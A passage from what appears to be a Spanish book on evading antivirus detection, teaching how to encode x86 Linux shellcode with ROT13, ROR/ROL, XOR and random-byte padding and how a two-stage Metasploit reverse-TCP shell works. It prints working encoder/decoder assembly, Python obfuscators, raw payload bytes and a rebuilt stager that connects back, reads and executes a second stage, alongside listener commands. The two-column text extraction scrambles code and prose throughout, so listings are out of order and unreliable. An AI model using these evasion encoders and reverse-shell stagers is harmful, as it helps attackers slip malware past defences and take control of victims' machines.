en caso que no podamos restarlo, tendremos que proceder a
crear otra funcin para poder procesarlo que le hemos denominado vuelta y que simplemente restar el valor 256 - (13 - valor_a_decodificar).
Por ltimo, simplemente tendremos que procesar el resto de

bytes de la shellcode y ejecutarla una vez decodificada de la
forma:
nextbyte:
inc esi
; Siguiente byte
loop decode
; Decodificar byte actual
jmp short encoded
Compilaremos y enlazaremos de la forma habitual con:

62
$ nasm -f elf32 -o rot13.o rot13.asm

$ ld -z execstack -N -o rot13 rot13.o
$ sudo ./rot13
# id
# exit
63
temp = temp - 1;
OD;
IF COUNT = 1
THEN
IF high-order bit of r/m <> CF
THEN OF = 1;
ELSE OF = 0;
ROR/ROL
(ROtate Right/Left)
Desarrollo
FI;
ELSE OF = undefined;
Podemos
emplear
rotacinen
de C
bits en vez de emplear el cifra1.
Desarrollo
genrico
do anterior. Para ello, podemos emplear la rotacin de los mismos a la izquierda o a la derecha. El juego de instrucciones en
ensamblador x86 nos provee de ROL, ROR, RCL y RCR.
FI;
Por el contrario, para rotar hacia la derecha (ROR), tendremos
el siguiente algoritmo:
temp = COUNT;
El algoritmo empleado para realizar una rotacin a la izquierda
(ROL) es el siguiente:
WHILE (temp <> 0 )

DO
tmpcf = low-order bit of (r/m);
temp = COUNT;
WHILE (temp <> 0)
r/m = r/m / 2 + (tmpcf * 2^(width(r/m)));

temp = temp - 1;
DO;
DO
tmpcf = high-order bit of (r/m);
r/m = r/m * 2 + (tmpcf);
IF COUNT = 1
THEN
64
IF (high-order bit of r/m) <> (bit next to

high-order bit of r/m)
THEN OF = 1;
ELSE OF = 0;
FI;
En realidad, un codificador es exactamente lo contrario que un

decodificador. Por tanto, vamos a aprovechar el cdigo para escribir ambos algoritmos. Comenzaremos por el codificador y la
shellcode original (hemos cambiado algunos nombres de las
etiquetas para hacerlo ms comprensivo):
ELSE OF = undefined;
FI;
Partiendo de la shellcode original que conseguimos, tendremos

la secuencia de OpCodes siguientes siendo nuestro objetivo
que sea codificada 4 bits a la derecha:
global _start
section .text
_start:
jmp short jump_encoder
0"
encoder:
; Instrucciones
jump_encoder:
En vez de usar un cdigo en otro lenguaje de programacin, vamos a emplear directamente ensamblador para escribir el codificador al que denominaremos ror.asm. Para ello, copiaremos
la estructura del fichero jmpcallpop.asm de la forma:
; Codificar (call)
call encoder
shellcode:
db 0x31, 0xc0, 0x89, 0xc2, 0x89
db 0xc1, 0x50, 0x68, 0x2f, 0x2f
db 0x73, 0x68, 0x68, 0x2f, 0x62
$ cp jmpcallpop.asm ror.asm
db 0x69, 0x6e, 0x89, 0xe3, 0xb0

65
db 0x0b, 0xcd, 0x80
El cdigo necesario en ensamblador para ello ser:
len: equ $-shellcode

encode:
En la etiqueta encoder prepararemos todos los datos y limpiaremos los registros para dejar en CL el contador con la longitud
de la shellcode a modificar. Notar que se ha empleado el nemnico LEA.
mov bl, byte [esi + eax]

ror bl, 4
; Codificar/Decodificar
mov byte [edi], bl ; Guardarlo

inc edi
encoder:
; Byte actual
; Siguiente byte
inc eax
; Instrucciones
pop esi
dec ecx
; Contador descendente
lea edi, [esi]
jnz encode
; Loop
xor eax, eax

xor ebx, ebx
int 0x03
; INT 0x3 (Debug Int.)
xor ecx, ecx
jmp short shellcode ; Ejecutar
; Len(shellcode)
mov cl, len
Tan slo tendremos que completar el cdigo para obtener el
byte de la shellcode a codificar (mediante ESI + EAX), codificarlo (ROR), guardarlo mediante el registro EDI y repetir el bucle
hasta el final.
Compilaremos de la forma estndar:

$ nasm -f elf32 -o ror.o ror.asm
$ ld -z execstack -N -o ror ror.o
$ sudo ./ror
`trap' para punto de parada/seguimiento
66
Como podemos observar, el cdigo se ha detenido. Ello es debido al uso de la INT 0x3 para poder detener el depurador y ver
la codificacin de la shellcode. Para ello, simplemente tendremos que verlo con el GNU Debugger (gdb) de la forma:
$ gdb -q ./ror
Reading symbols from ./ror...(no debugging symbols found)...done.
>>> r
Starting
program:
/root/AvEvaders/shellcodes/chapter03/ror
...
Program received
kpoint trap.
signal
SIGTRAP,
0x80480a3 <shellcode>:
0x86
0x13 0x0c 0x98 0x2c 0x98 0x1c 0x05
0x80480ab <shellcode+8>: 0xf2 0xf2 0x37 0x86 0x86 0xf2 0x26

0x96
0x80480b3 <shellcode+16>:
0x08
0xe6 0x98 0x3e 0x0b 0xb0 0xdc
Los OpCodes correspondientes son:
0x13,
0x86,
0x26,
0xdc,
0x0c,
0xf2,
0x96,
0x08
0x98,
0xf2,
0xe6,
0x2c,
0x37,
0x98,
0x98,
0x86,
0x3e,
0x1c,
0x86,
0x0b,
0x05,
0xf2,
0xb0,
Trace/brea-
0x0804809c in encode ()
>>>
Se detendr y entonces, podremos comprobar la shellcode

con el ROR realizado mediante x/23xb $esi ya que la longitud
son 23 bytes:
Para decodificar la shellcode, realizaremos el mismo proceso

pero nicamente copiando el fichero ror.asm a rol.asm, cambiando las etiquetas encode por decode y sustituyendo la
shellcode por la obtenida:
global _start
section .text
>>> x/23xb $esi
_start:
67
jmp short shellcode
decoder:
; Ejecutar
jump_decoder:
; Instrucciones
pop esi
call decoder
lea edi, [esi]
shellcode:
xor eax, eax
db 0x13, 0x0c, 0x98, 0x2c, 0x98
xor ebx, ebx
db 0x1c, 0x05, 0x86, 0xf2, 0xf2
xor ecx, ecx
db 0x37, 0x86, 0x86, 0xf2, 0x26
; Len(shellcode)
db 0x96, 0xe6, 0x98, 0x3e, 0x0b
mov cl, len
db 0xb0, 0xdc,
0x08

decode:
ror bl, 4
; Byte actual
; Codificar/Decodificar
Por tanto, volveremos a compilar y enlazar de la forma tradicional que hemos empleado:
mov byte [edi], bl ; Guardarlo

$ nasm -f elf32 -o rol.o rol.asm
inc edi
; Siguiente byte
inc eax
$ ld -z execstack -N -o rol rol.o

$ sudo ./rol.o
`trap' para punto de parada/seguimiento
dec ecx
; Contador descendente
jnz decode
; Loop
int 0x03
; INT 0x3 (Debug Int.)
Si ahora lo depuramos y ejecutamos, veremos mediante x/

23xb $esi la shellcode decodificada:
68
$ gdb -q ./rol
Reading symbols from ./rol...(no debugging symbols found)...done.
Observamos que INT 0x3 corresponde con CD 03 por lo que

ya tenemos el valor que vamos a parchear en el fichero binario.
Lo vamos a sustituir con NOP 0x90 (2 bytes).
>>> r
Program received
kpoint trap.
signal
SIGTRAP,
Trace/brea-
0x0804809c in decode ()
>>> x/23xb $esi
0x80480a3 <shellcode>: 0x31
0xc2
0x89
0xc1
0x50
$ hexdump -ve '1/1 "%.2X"' rol | \

0xc0
0x68
0x89
0x73
0x80480b3 <shellcode+16>: 0x6e

0xb0
0x0b
0xcd
0x80
0xe3
0x89
sed "s/CD03/9090/g" | \
xxd -r -p > rol_patched
0x80480ab <shellcode+8>: 0x2f

0x2f
0x68
0x68
0x2f
0x62
0x69
Por ltimo, vamos a parchear el programa para evitar que se

detenga en la INT 0x3 que hemos puesto. Para ello, lo primero
ser obtener los OpCodes mediante objdump de la forma:
$ objdump -d rol
Una forma rpida de poder hacerlo es mediante la combinacin

de los comandos hexedit, sed y xxd de la forma:
Para comprobar que lo hemos parcheado correctamente, volveremos a ejecutar objdump de la forma:
$ objdump -d rol_patched
Por lo tanto, ya podremos ejecutar nuestro binario parcheado

con la shellcode codificada en ROR 4 y decodificada de la misma forma, aunque podra haberse empleado ROL 4 aunque en
este caso particular, sera lo mismo uno que otro y no se trata
de optimizar el cdigo o su ejecucin. Como el binario ha sido
69
creado, necesitaremos concederle los permisos adecuados y

por tanto, ejecutaremos:
$ chmod u+x rol_patched

$ sudo ./rol_patched
# id
# exit
70
#!/usr/bin/python
shellcode
=
80")
ROR
+ XOR
Desarrollo
# Rotate left: 0b1001 --> 0b0011

rol = lambda val, r_bits, max_bits: \
UnaDesarrollo
vez que ya conocemos
cmo
1.
genrico en
C implementar rotacin de bits,
podemos combinar posteriormente con otra codificacin tipo
XOR con un valor hardcodeado en principio. Posteriormente,
dicho valor, podr ser obtenido por diferentes medios (unidad
de disco de ejecucin, nmero de microprocesadores, etc.)
| \
(val << r_bits%max_bits) & (2**max_bits-1)
((val & (2**max_bits-1)) >> (max_bits(r_bits%max_bits)))
# Rotate right: 0b1001 --> 0b1100

La idea bsica sera realizar un ROR de 6 bits y a continuacin
aplicar un XOR con el valor 0xAB
Partiendo de la base de nuestra shellcode que hemos tomado

como ejemplo, podemos hacerlo rpidamente con un pequeo
cdigo en Python tal como el siguiente que denominaremos
rorxor.py:
ror = lambda val, r_bits, max_bits: \

((val & (2**max_bits-1))
r_bits%max_bits) | \
>>
(val << (max_bits-(r_bits%max_bits)) &

(2**max_bits-1))
encoded = ""
XORvalue = 0xAB
71
global _start
z = ror(x, 6, 8) ^ XORvalue
section .text
encoded += "0x"
encoded += "%02x," % z
_start:
print "ASM Encoded shellcode: %s " % encoded

decoder:
Su salida, ser la siguiente:
; Instrucciones
jump_decoder:
$ python rorxor.py
ASM
Encoded
shellcode:
0x6f,0xa8,0x8d,0xa0,0x8d,0xac,0xea,0x0a,0x17,0
x17,0x66,0x0a,0x0a,0x17,0x22,0x0e,0x12,0x8d,0x
24,0x69,0x87,0x9c,0xa9,
call decoder
shellcode:
db 0x6f,0xa8,0x8d,0xa0,0x8d
db 0xac,0xea,0x0a,0x17,0x17
Por tanto (eliminando la ltima coma por simplificar el cdigo al

mximo) ya tenemos la shellcode codificada con un
ROR+XOR.
Tan slo procederemos como de costumbre y copiaremos el fichero jmpcallpop.asm a rorxor.asm y completaremos los
OpCodes de nuestra shellcode:
db 0x66,0x0a,0x0a,0x17,0x22
db 0x0e,0x12,0x8d,0x24,0x69
db 0x87,0x9c,0xa9
Comenzaremos como de costumbre por recuperar la direccin

de nuestra shellcode mediante ESI y poner en CL la longitud
de la misma:
72
decoder:
# id
; Instrucciones
pop esi
# exit
; Dir. shellcode
xor ecx, ecx

mov cl, len
Posteriormente, escribiremos el cdigo necesario para poder
decodificar la shellcode:
Como veremos ms adelante, mediante la aplicacin de tcnicas combinadas, ser mucho ms fcil poder evadir las protecciones que encontremos.
decode:
xor byte [esi], 0xAB ; XOR 0xAB
rol byte [esi], 6
; ROL 6
inc esi
loop decode
jmp short shellcode
Con ello, simplemente tendremos que compilar y enlazar de la
forma habitual para poder ejecutarla y comprobar su correcto
funcionamiento:
$ nasm -f elf32 -o rorxor.o rorxor.asm

$ ld -z execstack -N -o rorxor rorxor.o
$ sudo ./rorxor
73
Tambin podramos elegir cuntos bytes vamos a introducir para reducir la longitud, -por ejemplo en las cuatro primeras posiciones y 4 ltimas posiciones-, etc. Incluso, podramos combinar con un byte que indicase cuntos vendran a continuacin
de la forma:
Random
Bytes
Desarrollo
Podemos
ofuscargenrico
tambin laen
shellcode
aadiendo bytes aleato1.
Desarrollo
C
rios en posiciones determinadas y que el stub al cargarla no
los emplee. Un ejemplo, podra ser insertar un byte aleatorio detrs de cada uno real, lo que duplicara la longitud de la shellcode como la figura que se representa a continuacin.
OpCode1 + RandomBytes_Counter + RandomByte1 + ... + RandomByteN + OpCode2 + ... + OpCodeN
La imaginacin para poder ofuscarla, ser cuestin del propio

lector. Para el primer ejemplo y que podr emplearse como base del resto para realizar ofuscaciones ms complejas, podemos crear un generador que llamaremos aleatorio.py tal como:
#!/usr/bin/python
import random
shellcode
=
80")
74
encoded = ""
Por lo tanto, ya podemos crear nuestro decodificador para la

shellcode. Copiaremos la base jmpcallpop.asm a
aleatorio.asm y completaremos los OpCodes de nuestra
shellcode:
encoded += "0x"
encoded += "%02x," % x
global _start
encoded += "0x"
y = random.randint(1, 255)
section .text
encoded += "%02x," % y
_start:
print "ASM Encoded shellcode: %s " % encoded
El resultado de su ejecucin es:
$ python aleatorio.py
ASM
Encoded
shellcode:
0x31,0x69,0xc0,0x0e,0x89,0x8f,0xc2,0xc6,0x89,0
x01,0xc1,0x23,0x50,0x84,0x68,0x06,0x2f,0x6e,0x
2f,0xb9,0x73,0xa4,0x68,0x1b,0x68,0xc3,0x2f,0xb
9,0x62,0x38,0x69,0x81,0x6e,0xe1,0x89,0x38,0xe3
,0x18,0xb0,0xba,0x0b,0x69,0xcd,0xeb,0x80,0xa2,

decoder:
; Instrucciones
jump_decoder:
call decoder
shellcode:
db 0x31,0x69,0xc0,0x0e,0x89
db 0x8f,0xc2,0xc6,0x89,0x01
db 0xc1,0x23,0x50,0x84,0x68
db 0x06,0x2f,0x6e,0x2f,0xb9
db 0x73,0xa4,0x68,0x1b,0x68
75
db 0xc3,0x2f,0xb9,0x62,0x38
decode:
db 0x69,0x81,0x6e,0xe1,0x89
; Byte Actual
db 0x38,0xe3,0x18,0xb0,0xba
mov byte [edi], bl
; Guardar
inc edi
; Siguiente
add al, 2
; OpCodes impares
dec ecx
; Countdown
jnz decode
; Loop
jmp short shellcode
; Run
db 0x0b,0x69,0xcd,0xeb,0x80
db 0xa2
Comenzaremos como de costumbre por recuperar la direccin

de nuestra shellcode mediante ESI y poner en CL la longitud
de la misma:
decoder:
; Instrucciones
pop esi
; Dir. shellcode
Con ello, simplemente tendremos que compilar y enlazar de la

forma habitual para poder ejecutarla y comprobar su correcto
funcionamiento:
lea edi, [esi]

xor eax, eax
$ nasm -f elf32 -o aleatorio.o aleatorio.asm
xor ebx, ebx
$ ld -z execstack -N -o aleatorio aleatorio.o
xor ecx, ecx
$ sudo ./aleatorio
mov cl, len
# id
Posteriormente, escribiremos el cdigo necesario para poder

decodificar la shellcode:
# exit
76
Podemos depurar su comportamiento de una forma muy sencilla mediante gdb:
$ gdb -q ./aleatorio
Reading symbols from ./aleatorio...(no
bugging symbols found)...done.
de-
>>> disas decode

Dump of assembler code for function decode:
0x0804808d <+0>:
mov
(%esi,%eax,1),%bl
0x08048090 <+3>:
mov
%bl,(%edi)
0x08048092 <+5>:
inc
%edi
0x08048093 <+6>:
add
$0x2,%al
0x08048095 <+8>:
dec
%ecx
0x08048096 <+9>:
de>
jne
0x08048098 <+11>:
<shellcode>
jmp
0x804808d <deco0x804809f
0x804809f <shellcode>: 0x31

0xc2
0x89
0xc1
0x50
0xc0
0x68
0x89
0x80480a7 <shellcode+8>: 0x2f

0x2f
0x68
0x68
0x2f
0x62
0x69
0x73
0x80480af <shellcode+16>: 0x6e

0x89
0xb0
0x0b
0xcd
0x80
0x00
0xe3
0x80480b7 <shellcode+24>: 0x73

0x6d
0x00
0x73
0x72
0x61
0x00
0x61
0x80480bf <shellcode+32>: 0x73

0x73
0x61
0x00
0x74
0x78
0x00
0x72
0x80480c7 <shellcode+40>: 0x00

0x00
0x00
0x00
0x00
0x00
0x2e
0x00
Como podemos observar, en rojo se muestran los OpCodes correspondientes a nuestra shellcode codificada y una vez eliminados los bytes aleatorios que habamos introducido entre
ellos.

>>> b *0x08048098
>>> r
Breakpoint 1, 0x08048098 in decode ()
>>> x/48bx $esi
77
ROL comn + XOR alternativo
ROL
XOR
Impar
Combinacin
de tcnicas
Desarrollo
Conforme
hemosgenrico
visto, disponemos
1.
Desarrollo
en C de numerosas tcnicas para poder ofuscar el cdigo de nuestras shellcodes. Daremos en
esta seccin algunas tcnicas que nos permitirn, sin ser excesivamente complejas para su desarrollo en ensamblador para
el lector, poder realizar varias combinaciones.
Podemos anidar la salida de una shellcode codificada como entrada de otra y as sucesivamente. Es decir, un stub nos llevar
a otro que se encargar de decodificar la siguiente, etc.
rol (6,8)
0xAB
Par
0xBA
ROR alternativo + XOR comn
ROR
Pares:
ror(6,8)
Impares:
ror(2,8)
XOR
0xAB
Todos
igual
Se presentan a continuacin (no implementadas) algunas tcnicas que pueden ser empleadas y que servirn para despertar
la curiosidad del lector.
78
XOR alternativo + RANDOM + ROL
XOR
RANDOM
ROL
Par: 0xAB
Impar: 0xBA
XOR + NOT + ROL + Random

XOR
x = s ^ 0xAB
Random(N+1)
NOT
y = ~x
Par: rol(3,8)
Impar: rol(5,8)
ROL
z = rol(y,3,8)
RANDOM
ROR + XOR + NOT
ROR
XOR
NOT
x=ror(6,8)
y=x^0xAB
z=~y
Impar:
random(n)
Par: z(n+1)
79
Multistaged
Shellcodes
En este captulo, vamos a

ver cmo escribir una
shellcode que se ejecutar
en dos partes. Una gran
parte del malware se
ejecuta de la misma forma
que describiremos, siendo
la primera parte un
dropper que descarga y
ejecuta la segunda parte
que contiene el cdigo
malicioso.
Multistaged Shellcodes
Introduccin
Desarrollo
Un ejemplo muy concreto, lo vemos en muchas muestras de

malware. La primera etapa, denominada one-staged suele
aprovecharse de una vulnerabilidad en el equipo vctima y ejecuta un exploit para aprovecharla. Entonces, podra crear un
canal hacia otra mquina y descargar lo denominado como second stage payload y lo ejecutara. En resumidas cuentas,
podemos hacer una analoga con un cohete espacial y las diferentes etapas que tiene como en la figura que se presenta a
continuacin.
UnaDesarrollo
shellcode conforme
la en
hemos
1.
genrico
C estudiado hasta ahora, ha
consistido en un cdigo completo que ha ejecutado todas las
funciones. Sin embargo, muchas veces, se nos presentan casos como que la shellcode completa no cabe en el espacio
que tenemos disponible, que existe una parte que es detectada
por las protecciones, etc.
En esos casos, podemos hablar de construir shellcodes multistaged (con varias etapas). Lo ms normal, es emplear una
shellcode con dos etapas, una primera que realizar una accin determinada y otra que contendr el resto del cdigo. Pero
en realidad cmo funcionan?
81
Por supuesto, el payload descargado, puede ser mucho mayor

que el primero, por lo que elimina el problema del espacio disponible e incluso podra llegar a emplear el mismo canal creado para comunicarse con la mquina del atacante, por ejemplo,
para recibir rdenes concretas y enviar los resultados a la misma.
En el presente captulo, analizaremos mediante ingeniera inversa conocidas shellcodes como las que empleamos en Metasploit (http://www.metasploit.com/) y que emplean estas tcnicas. Finalmente, seremos capaces de entender cmo funcionan y disear nuestra propia multistaged shellcode.
82
msf payload(reverse_tcp) > set LPORT 4444
LPORT => 4444
msf payload(reverse_tcp) > generate
# linux/x86/shell/reverse_tcp - 71 bytes (stage 1)
# http://www.metasploit.com
Second
Stage Payload
Desarrollo
# VERBOSE=false, LHOST=127.0.0.1, LPORT=4444,
Tal Desarrollo
como hemos genrico
dicho, vamos
1.
en aCver en funcionamiento una de
las shellcodes que emplea el framework metasploit con la que
podremos trabajar y adaptar a nuestras necesidades especficas con fines exclusivamente didcticos.
# ReverseAllowProxy=false,
nerThreaded=false,
# ReverseConnectRetries=5,
BindPort=0,
# PayloadUUIDTracking=false,
ding=false,
ReverseListenerR e v e r s e L i s t eEnableStageEnco-
# StageEncoderSaveRegisters=,
dingFallback=true,
Vamos a trabajar con linux/x86/shell/reverse_tcp para comprender su funcionamiento. Para ello, abriremos una consola
en metasploit y pondremos los siguientes comandos:
# PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false,
lse,
msf > use linux/x86/shell/reverse_tcp

msf payload(reverse_tcp) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
S t a g e E n c o-
# PrependSetgid=false,
lse,
PrependSetregid=fa-
PrependChrootBreak=fa-
# AppendExit=false, InitialAutoRunScript=, AutoRunScript=

buf =
83
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\
x89\xe1\xcd" +
"\x80\x97\x5b\x68\x7f\x00\x00\x01\x68\x02\x00\
x11\x5c\x89" +
Conforme se observa en la salida que genera, se trata de una

shellcode con 2 stages. La primera se denomina linux/x86/shell/reverse_tcp - 71 bytes (stage 1) y la segunda linux/x86/shell/reverse_tcp - 36 bytes (stage 2).
"\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\
x80\xb2\x07" +
"\xb9\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\
xe3\x0c\xb0" +
"\x7d\xcd\x80\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\
xcd\x80\xff" +
En este caso, la primera de ellas, crear un canal en la mquina de la vctima hacia el atacante, descargar la segunda
shellcode y la ejecutar.
"\xe1"
# linux/x86/shell/reverse_tcp - 36 bytes (stage 2)

# http://www.metasploit.com
Adems, hemos obtenido los OpCodes correspondientes a cada una de ellas. Por lo tanto, podemos ver en ensamblador qu
es lo que hacen. Para ello, vamos a generar un fichero denominado disasopcodes.sh con:
buf =
"\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\
x79\xf8\x6a" +
#!/bin/bash
"\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\
x62\x69\x6e" +
clear
"\x89\xe3\x52\x53\x89\xe1\xcd\x80"
# First Stage
msf payload(reverse_tcp) >
#
echo "------------"
echo "First stage:"
84
echo "------------"
$ ./disasopcodes.sh
echo
-ne
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\
x89\xe1\xcd\x80\x97\x5b\x68\x7f\x00\x00\x01\x6
8\x02\x00\x11\x5c\x89\xe1\x6a\x66\x58\x50\x51\
x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10\x0
0\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\
xcd\x80\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x8
0\xff\xe1" | ndisasm -u -
Con lo que obtenemos el cdigo correspondiente en ensamblador de ambas:
#
# Second Stage
#
echo "-------------"
echo "Second stage:"
echo "-------------"
echo
-ne
"\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\
x79\xf8\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x6
8\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\
xcd\x80" | ndisasm -u -
Simplemente, le damos los permisos adecuados y lo ejecutamos:
-----------First stage:
-----------00000000
31DB
xor ebx,ebx
00000002
F7E3
mul ebx
00000004
53
push ebx
00000005
43
inc ebx
00000006
53
push ebx
00000007
6A02
push byte +0x2
00000009
B066
mov al,0x66
0000000B
89E1
mov ecx,esp
0000000D
CD80
int 0x80
0000000F
97
xchg eax,edi
00000010
5B
pop ebx
$ chmod u+x disasopcodes.sh

85
00000011
0x100007f
687F000001
push dword
00000016
680200115C
0x5c110002
push dword
0000003C
89E1
mov ecx,esp
0000003E
99
cdq
0000003F
B60C
mov dh,0xc
0000001B
89E1
mov ecx,esp
00000041
B003
mov al,0x3
0000001D
6A66
push byte +0x66
00000043
CD80
int 0x80
0000001F
58
pop eax
00000045
FFE1
jmp ecx
00000020
50
push eax
-------------
00000021
51
push ecx
Second stage:
00000022
57
push edi
-------------
00000023
89E1
mov ecx,esp
00000000
89FB
mov ebx,edi
00000025
43
inc ebx
00000002
6A02
push byte +0x2
00000026
CD80
int 0x80
00000004
59
pop ecx
00000028
B207
mov dl,0x7
00000005
6A3F
push byte +0x3f
0000002A
B900100000
mov ecx,0x1000
00000007
58
pop eax
0000002F
89E3
mov ebx,esp
00000008
CD80
int 0x80
00000031
C1EB0C
shr ebx,byte 0xc
0000000A
49
dec ecx
00000034
C1E30C
shl ebx,byte 0xc
0000000B
79F8
jns 0x5
00000037
B07D
mov al,0x7d
0000000D
6A0B
push byte +0xb
00000039
CD80
int 0x80
0000000F
58
pop eax
0000003B
5B
pop ebx
00000010
99
cdq
86
00000011
52
push edx
00000012
682F2F7368
0x68732f2f
push dword
00000017
682F62696E
0x6e69622f
push dword
La primera parte, ser para crear un socket de forma estndar

conforme hemos visto hasta ahora:
global _start
0000001C
89E3
mov ebx,esp
0000001E
52
push edx
0000001F
53
push ebx
00000020
89E1
mov ecx,esp
00000022
CD80
int 0x80
Analicemos entonces cada una, tomando como referencia la

INT 0x80 que ser para ejecutar la syscall correspondiente y
reconstruyendo el cdigo de las mismas.
section .text
_start:
; Crear socket
xor ebx,ebx
; ebx = 0 (socket)
mul ebx
; eax = 0, edx = 0
push ebx
inc ebx
push ebx
Para la primera, crearemos un fichero denominado

stage1.asm con el contenido que iremos poniendo a continuacin de forma secuencial segn los OpCodes listados y que se
comentar debidamente en cada lnea en el caso que sea necesario. Denotar que simplemente tendremos que aadir al cdigo en ensamblador nuestra seccin que queremos crear para
que luego podamos compilarlo de forma estndar.
push byte +0x2
; Parm. pila (2,1,0)
mov al,0x66
; socketcall = 102
mov ecx,esp
; ecx =Puntero (2,1,0)
int 0x80
A continuacin, simplemente se guardar en EDI como de costumbre:

87
; Guardar el socket creado en edi
inc ebx
; ebx=3 (connect)
int 0x80
xchg eax,edi
A continuacin, realizaremos un CONNECT estndar a la direccin IP y PUERTO que hemos especificado en la consola de
metasploit. Lo nico a destacar, es que guardaremos el socket
en la pila antes de realizar la llamada:
A continuacin vamos a emplear la nueva llamada al sistema

MPROTECT que nos permitir especificar cmo vamos a trabajar la parte de memoria (que estar en la pila) para indicarle los
permisos que queremos y su tamao.
; Memoria (parte de la pila)

; Conectar al HOST y PUERTO especificados
pop ebx
; ebx = 2
push dword 0x0100007f
; 127.0.0.1
push dword 0x5c110002
; 0x5c11=4444
mov ecx,esp
push byte +0x66
; syscall 102
; Permiso de lectura, escritura y ejecucin

mov dl,0x7
; P_READ | P_WRITE | P_EXEC
mov ecx,0x1000 ; size = 4096

mov ebx,esp
shr ebx,0xc
shl ebx,0xc
; ebx = esp OR 0xFF000000
mov al,0x7d
; syscall = 125 (mprotect)
int 0x80
pop eax
push eax
push ecx
push edi
mov ecx,esp
; Apilar socket
Por ltimo, simplemente vamos a leer del socket que recuperaremos de la pila y finalmente, mediante un JMP ECX saltaremos a ejecutar el cdigo que ha sido guardado en la pila (que
88
corresponder con el second stage). El cdigo correspondiente es:
; Leer del socket (que est en pila)

pop ebx
; Recuperar el socket
mov ecx,esp
; ecx = buffer (stack)
cdq
mov dh,0xc
; dx = 0xc0 = 192
mov al,0x3
; syscall = 3 (read)
int 0x80
jmp ecx
; Ejecutar los bytes ledos
Por tanto, en el cdigo que se muestra, se ve claramente cmo

se recupera el socket y se prepara STDIN, STDOUT y
STDERR como podemos apreciar:
global _start
section .text
_start:
; Dup2 (STDIN, STDOUT, STDERR)
mov ebx,edi ; ebx = socket
push byte +0x2
El primer payload guarda el segundo en la pila. El segundo emplear el socket que cre el primer payload.
pop ebx
En la siguiente parte, se observa un bucle y el uso de la syscall 63 conforme al cdigo mostrado:
Ahora procederemos con el second stage payload de la misma

forma. Comenzaremos por crear el fichero stage2.asm con el
tpico cdigo de comienzo.
loop:
push byte +0x3f
; syscall = 63
pop eax
89
int 0x80
Podemos compilar y enlazar de la forma tradicional con:
dec ecx
jns loop
$ nasm -f elf32 -o stage1.o stage1.asm

$ nasm -f elf32 -o stage2.o stage2.asm
Por ltimo, es una simple llamada a execve con /bin/sh conforme se denota en el cdigo:
$ ld -z execstack -N -o stage2 stage2.o

Para comprobar su correcto funcionamiento, en una consola de
metasploit, pondremos los siguientes comandos:
; Execve '/bin//sh':
push byte +0xb
$ ld -z execstack -N -o stage1 stage1.o
; syscall = 11
pop eax
use exploit/multi/handler
cdq
set PAYLOAD linux/x86/shell/reverse_tcp
push edx
; NULL
set LHOST 127.0.0.1
push dword 0x68732f2f ; //sh
set LPORT 4444
push dword 0x6e69622f ; /bin
exploit
mov ebx,esp
push edx
Y desde un terminal, probaremos nuestra primera etapa:
push ebx
mov ecx,esp
int 0x80
$ sudo ./stage1
Si todo es correcto, la conexin ser gestionada por la consola
de metasploit y veremos cmo enva el second stage payload y
establece la conexin como en la figura. Podremos poner cual90
quier comando ya que mediante el socket que abri la primera,

enviaremos y recibiremos los resultados de los comandos introducidos:
Conforme veremos en la siguiente seccin, podremos depurar

el second stage shellcode para ver si todo es correcto y funciona conforme hemos previsto.
[*] Sending stage (36 bytes) to 127.0.0.1

[*] Command shell session 1 opened
(127.0.0.1:4444 -> 127.0.0.1:39753) at 201510-02 07:02:23 +0200
id
exit
[*] 127.0.0.1 - Command shell session 1 closed. Reason: Died from EOFError
Para probar el second stage, simplemente tenemos que ejecutarlo.
$ sudo ./stage2
# id
# exit
91
Quedar a la espera de recibir una conexin. Por otra parte, en

el otro terminal, probaremos la primera parte de la forma:
$ ./stage1
Depurando
el Second Stage Payload
Desarrollo
Conforme
hemosgenrico
visto, de en
forma
1.
Desarrollo
C manual y con metasploit, funciona correctamente, pero si queremos en realidad probar los
resultados de nuestra second stage entonces tendremos
que depurar el binario y comprobar que todo es correcto.
Veremos que se realiza la conexin correctamente en netcat

por el binario stage1. Escribiremos desde la consola de netcat
TEST y pulsaremos la tecla enter:
listening on [any] 4444 ...

connect to [127.0.0.1]
[127.0.0.1] 39763
from
(UNKNOWN)
TEST
Necesitaremos para realizar la prctica, dos terminales. En el
primero, simplemente lanzaremos un manejador que reciba la
conexin. Para ello, emplearemos otra vez la utilidad netcat escribiendo en el prompt del sistema:
sent 5, rcvd 0
Veremos que se han enviado 5 bytes (TEST+CR). Si cambiamos a la otra consola, veremos el resultado en la salida del binario stage1:
$ nc -vvvnlp 4444
Violacin de segmento
92
0x0804808b <+11>:
mov
ecx,esp
0x0804808d <+13>:
int
0x80
0x0804808f <+15>:
xchg
edi,eax
0x08048090 <+16>:
pop
ebx
0x08048091 <+17>:
push
0x100007f
0x08048096 <+22>:
push
0x5c110002
0x0804809b <+27>:
mov
ecx,esp
0x0804809d <+29>:
push
0x66
0x0804809f <+31>:
pop
eax
0x080480a0 <+32>:
push
eax
0x080480a1 <+33>:
push
ecx
$ gdb -q ./stage1
0x080480a2 <+34>:
push
edi
Reading symbols from ./stage1...(no debugging

symbols found)...done.
0x080480a3 <+35>:
mov
ecx,esp
0x080480a5 <+37>:
inc
ebx
>>> set disassembly-flavor intel
0x080480a6 <+38>:
int
0x80
>>> disas _start
0x080480a8 <+40>:
mov
dl,0x7
Dump of assembler code for function _start:
0x080480aa <+42>:
mov
ecx,0x1000
Qu ha ocurrido? Cmo podemos saber el fallo que hemos

cometido? Tendremos que depurar el cdigo e inspeccionar los
elementos que intervienen en el mismo. Para ello, volveremos
a lanzar en el terminal 1 el manejador de conexin con netcat
